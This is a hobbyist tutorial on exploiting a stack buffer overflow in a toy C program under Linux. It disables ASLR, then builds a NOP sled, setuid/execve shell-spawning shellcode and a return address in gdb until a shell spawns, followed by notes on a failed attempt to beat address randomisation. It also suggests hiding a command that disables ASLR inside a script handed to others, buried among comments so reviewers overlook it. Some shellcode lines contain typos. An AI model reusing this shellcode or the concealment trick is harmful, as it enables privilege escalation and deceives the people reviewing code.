

# Exploiting Buffer overflows

Version 1

**OS:** Zenwalk 5.2  
**gcc:** default with zenwalk(4.2.3)  
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## ~oO Disclaimer Oo~

I'm to assume that you know what buffer overflows are, as I'm not going to discuss it here.. for that read "Smashing the stack for fun and profit" by Aleph1.

This documentation is to provide the users with basic knowledge of buffer overflows under recent gcc version. I'm not responsible for any text that is printed in this tutorial as it is intended for educational purposes only!!

## ~oO Start Oo~

So to overflow this we need to disable a kernel protection first. For that we do:

```
kalgecin[hacking]$ cat /proc/sys/kernel/randomize_va_space
1
kalgecin[hacking]$ echo 0 > /proc/sys/kernel/randomize_va_space
kalgecin[hacking]$ cat /proc/sys/kernel/randomize_va_space
0
kalgecin[hacking]$
```

So now we have disabled the protection.  
Here's a copy of our vulnerable program:

```
kalgecin[hacking]$ cat vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *string) {
    char buffer[1024];

    strcpy(buffer, string);

    return 1;
}

int main(int argc, char *argv[]) {
    bof(argv[1]);
    printf("Done..\n");

    return 1;
}
```

This vulnerable program accepts an input and processes it with **strcpy** which does not do any bounds checking, so if we put an argument with say 1040 characters our stack will get overflowed.

We will compile it.

```
kalgecin[hacking]$ gcc vuln.c -o vuln
kalgecin[hacking]$
```

Open a gdb

```
kalgecin[hacking]$ gdb ./vuln -q
(gdb) r `perl -e 'print "AAAA"x1040'`
Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print "AAAA"x1040'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
```

As we can see here 0x41414141 is the same as AAAA. Let us see the registers

```
(gdb) i r
eax      0x1      1
ecx      0xbfffe3b8  -1073749064
edx      0x1041   4161
ebx      0xb7fbcff4  -1208233996
esp      0xbfffe7c0  0xbfffe7c0
ebp      0x41414141  0x41414141
esi      0xb7ffece0  -1207964448
edi      0x0      0
eip      0x41414141  0x41414141
eflags   0x210282   [ SF IF RF ID ]
cs       0x73     115
ss       0x7b     123
ds       0x7b     123
es       0x7b     123
fs       0x0     0
gs       0x33     51
(gdb)
```

Pay attention to EIP. It points to our AAAA.

Now let's use a shell-code. This one has been generated by me and it spawns a shell:

```
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46xcd\x80\x51\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd
\x80
```

```
(gdb) r `perl -e 'print
"\x90"x1040,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2
f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x8
0"'`
```

The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print

```
"\x90"x1040,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2
f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x8
0"'`
```

Program received signal SIGSEGV, Segmentation fault.  
0x90909090 in ?? ()  
(gdb)

Now we are pointed to 90909090 which is our NOP sled. We add "AAAA" at the end of our exploit and adjust the number of nop's decreasing by 4 until we have 1414141 as our return address.

I got the value as: 993. So we now type:

```
(gdb) x/2000xb $esp
```

And we get a lot of stuff. Look for something like:

```
0xbffff650:  0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
```

From here we get the address of our NOP sled as: bf ff f6 50. Turning this to lilendian we get \x50\xf6\xff\xbf and we replace that with our "AAAA" and we get something like this:

```
(gdb) r `perl -e 'print
"\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80","\x50\xf6\xff
\xbf"'`
```

The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print

```
"\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80","\x50\xf6\xff
\xbf"'`
```

Executing new program: /bin/bash

```
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
```



```

1À1Û1É1Ò°FÍ€Qh//shh/bin%ãQS%á
1À°
Í€Pöÿ¿: File name too long
Program exited with code 0176.
(gdb)

```

So we end here.

If you want to exploit local programs, then disable the protection (as root :) not much help here) But you can make a useful script or a program and inside it added a code to run "echo 0 > /proc/sys/kernel/randomize\_va\_space" in a hidden place or a place with a lot of comments and make a line to execute the above piece of code. Mostly the reviser will ignore the comments (especially the boring ones) and not see the code above.

Good luck out there!! ☺

**~oO Conclusion Oo~**

These exploits work as long as the va patch is disabled. To disable it you need root privileges. Next paper will focus on the va patch.

**~oO The VA patch Oo~**

The VA patch was applied in order for the buffer overflow to be much harder by randomizing where the starch of the program starts. Before the patch all programs started at the same address and so the return address was predictable from the stack information. Now the VA patch randomizes the location of the program in the stack making it virtually impossible.

**~oO Hacking the VA patch Oo~**

From here on I'm writing this as I'm experimenting and as my scratch pads so please sorry if I'll be not be clear

So let's try:

```

(gdb) r `perl -e 'print
"\x90"\x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x5
1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\
xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print
"\x90"\x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x5
1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\
xcd\x80"'`

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb) x/3000xb $esp
0xbfc75850: 0x80 0xda 0xea 0xbf 0x31 0xc0 0x31 0xdb
0xbfc75858: 0x31 0xc9 0x31 0xd2 0xb0 0x46 0xcd 0x80
0xbfc75860: 0x51 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f
0xbfc75868: 0x62 0x69 0x6e 0x89 0xe3 0x51 0x53 0x89
0xbfc75870: 0xe1 0x31 0xc0 0xb0 0x0b 0xcd 0x80 0x00

```

```

0xbfc75878: 0xd8 0x58 0xc7 0xbf 0x90 0x33 0xf0 0xb7
0xbfc75880: 0x02 0x00 0x00 0x00 0x04 0x59 0xc7 0xbf
0xbfc75888: 0x10 0x59 0xc7 0xbf 0xd0 0x92 0x03 0xb8
0xbfc75890: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0xbfc75898: 0x00 0x00 0x00 0x00 0x09 0x82 0x04 0x08
0xbfc758a0: 0xf4 0x4f 0x03 0xb8 0xe0 0x7c 0x07 0xb8
0xbfc758a8: 0x00 0x00 0x00 0x00 0xd8 0x58 0xc7 0xbf
0xbfc758b0: 0x81 0x00 0xb1 0x9a 0x91 0xaa 0x66 0xf4
0xbfc758b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfc758c0: 0x00 0x00 0x00 0x00 0xa0 0xf7 0x06 0xb8
0xbfc758c8: 0xbd 0x32 0xf0 0xb7 0xf4 0x7f 0x07 0xb8
0xbfc758d0: 0x02 0x00 0x00 0x00 0x00 0x83 0x04 0x08
0xbfc758d8: 0x00 0x00 0x00 0x00 0x21 0x83 0x04 0x08
0xbfc758e0: 0xa9 0x83 0x04 0x08 0x02 0x00 0x00 0x00
0xbfc758e8: 0x04 0x59 0xc7 0xbf 0x00 0x84 0x04 0x08
0xbfc758f0: 0xf0 0x83 0x04 0x08 0xd0 0xa0 0x06 0xb8
0xbfc758f8: 0xfc 0x58 0xc7 0xbf 0x05 0x56 0x07 0xb8
0xbfc75900: 0x02 0x00 0x00 0x00 0xff 0x75 0xc7 0xbf

```

---Type <return> to continue, or q <return> to quit---q

Quit

(gdb) r `perl -e 'print

```

"\x90"x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x5
1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\
xcd\x80"``

```

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print

```

"\x90"x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x5
1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\
xcd\x80"``

```

Program received signal SIGSEGV, Segmentation fault.

0x90909090 in ?? ()

(gdb) x/3000xb \$esp

```

0xbfff1bd0: 0x80 0xda 0xea 0xbf 0x31 0xc0 0x31 0xdb
0xbfff1bd8: 0x31 0xc9 0x31 0xd2 0xb0 0x46 0xcd 0x80
0xbfff1be0: 0x51 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f
0xbfff1be8: 0x62 0x69 0x6e 0x89 0xe3 0x51 0x53 0x89
0xbfff1bf0: 0xe1 0x31 0xc0 0xb0 0x0b 0xcd 0x80 0x00
0xbfff1bf8: 0x58 0x1c 0xff 0xbf 0x90 0xf3 0xf7 0xb7
0xbfff1c00: 0x02 0x00 0x00 0x00 0x84 0x1c 0xff 0xbf
0xbfff1c08: 0x90 0x1c 0xff 0xbf 0xd0 0x52 0x0b 0xb8
0xbfff1c10: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0xbfff1c18: 0x00 0x00 0x00 0x00 0x09 0x82 0x04 0x08
0xbfff1c20: 0xf4 0x0f 0x0b 0xb8 0xe0 0x3c 0x0f 0xb8
0xbfff1c28: 0x00 0x00 0x00 0x00 0x58 0x1c 0xff 0xbf
0xbfff1c30: 0x81 0x00 0x38 0xea 0x91 0xaa 0xe6 0xfb
0xbfff1c38: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfff1c40: 0x00 0x00 0x00 0x00 0xa0 0xb7 0x0e 0xb8
0xbfff1c48: 0xbd 0xf2 0xf7 0xb7 0xf4 0x3f 0x0f 0xb8
0xbfff1c50: 0x02 0x00 0x00 0x00 0x00 0x83 0x04 0x08
0xbfff1c58: 0x00 0x00 0x00 0x00 0x21 0x83 0x04 0x08

```

```
0xbfff1c60: 0xa9 0x83 0x04 0x08 0x02 0x00 0x00 0x00
0xbfff1c68: 0x84 0x1c 0xff 0xbf 0x00 0x84 0x04 0x08
0xbfff1c70: 0xf0 0x83 0x04 0x08 0xd0 0x60 0x0e 0xb8
0xbfff1c78: 0x7c 0x1c 0xff 0xbf 0x05 0x16 0x0f 0xb8
0xbfff1c80: 0x02 0x00 0x00 0x00 0xff 0x35 0xff 0xbf
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)
```

So as you can see the stack address changes every time we run the program